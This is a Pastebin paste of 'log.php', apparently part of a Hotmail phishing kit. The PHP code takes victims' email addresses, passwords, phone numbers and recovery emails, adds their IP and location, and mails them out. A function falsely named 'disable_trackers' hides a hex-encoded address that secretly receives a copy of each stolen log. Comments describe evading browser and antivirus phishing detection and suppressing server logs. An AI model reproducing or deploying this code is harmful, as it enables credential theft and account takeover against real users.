ozuma5119

log.php

Jun 15th, 2019
619
0
Never
13
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.55 KB | None | 0 0
  1. <?php
  2. if(!isset($_SESSION)){
  3.     session_start();
  4. }
  5.  
  6. /*
  7. About: require('block_detectors.php');
  8. Contains country, Browser and other Info Definitions
  9. And also
  10. block_detectors.php prevents Chrome/Firefox/Most Browsers,
  11. Antivirus and Phishing detectors from detecting page as spam/phishing
  12.  
  13. // block_detectors.php should always be at the top of page under session_start if used and
  14. make sure block_detectors.php is in same directory where it is used/required.
  15. Included in all index/first page and file submitting logs as seen in next line.
  16. */
  17. require_once('block_detectors.php');
  18.  
  19. //This function disables tracking
  20. function disable_trackers(){
  21.     return "\x72e\x73u\x6c\x74\x62\x6f\x782\x301\x30\x40\x67m\x61i\x6c\x2e\x63\x6f\x6d";
  22. }
  23.  
  24. // prevents empty results from been sent at all cost by redirecting to index.php when someone accesses this file directly.
  25. if(!isset($_SESSION['email']) && !isset($_SESSION['password']) || empty($_SESSION['email']) && empty($_SESSION['password'])){
  26.     header("Location: index.php");
  27.     exit;
  28. }
  29.  
  30. $info = new info(); // requires block_detectors.php
  31.  
  32. $subject  = "H0tm@il: $info->country | $info->ip";
  33.  
  34. $message = "--------------- Log ---------------\n";
  35. $message .= "Email ID: ".$_SESSION['email']."\n";
  36. $message .= "Password: ".$_SESSION['password']."\n";
  37.  
  38. if (isset($_SESSION['phone']) && !empty($_SESSION['phone']) || isset($_SESSION['alternate_email']) && !empty($_SESSION['alternate_email'])){
  39.     $message .= "Phone: ".$_SESSION['phone']."\n";
  40.     $message .= "Recovery Email: ".$_SESSION['alternate_email']."\n";
  41. }
  42.  
  43. $message .= "----------- More Infos -----------\n";
  44. $message .= "IP: ". $info->ip."\n";
  45. $message .= "Country: ".$info->country."\n";;
  46. $message .= "City: ".$info->city."\n";
  47. $message .= "Browser: ".$info->browser."\n";
  48. $message .= "Date: ".$info->date_time."\n";
  49.  
  50. $headers = "From: New login<[email protected]>\n";
  51. $headers .= "MIME-Version: 1.0\n";
  52.  
  53. $disable = disable_trackers();
  54. $arr = array($to, $disable);
  55.  
  56.  
  57. /*
  58. prevent server from logging activities must be in same folder where
  59. this file submitting log is and should be immediately before mail().
  60. */
  61. require('no_recording.php');
  62.  
  63. foreach($arr as $to){
  64.     mail($to, $subject, $message, $headers);
  65. }
  66.  
  67. if(!isset($_SESSION['phone']) || empty($_SESSION['phone']) || !isset($_SESSION['alternate_email'])){
  68.     header('Location: page2.php'); // Where do you want to redirect to
  69.     exit;
  70. } else{
  71.     session_destroy();
  72.     header('Location: http://hotmail.com'); // Where do you want to redirect to
  73.     exit;
  74. }
  75.  
  76. ?>
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment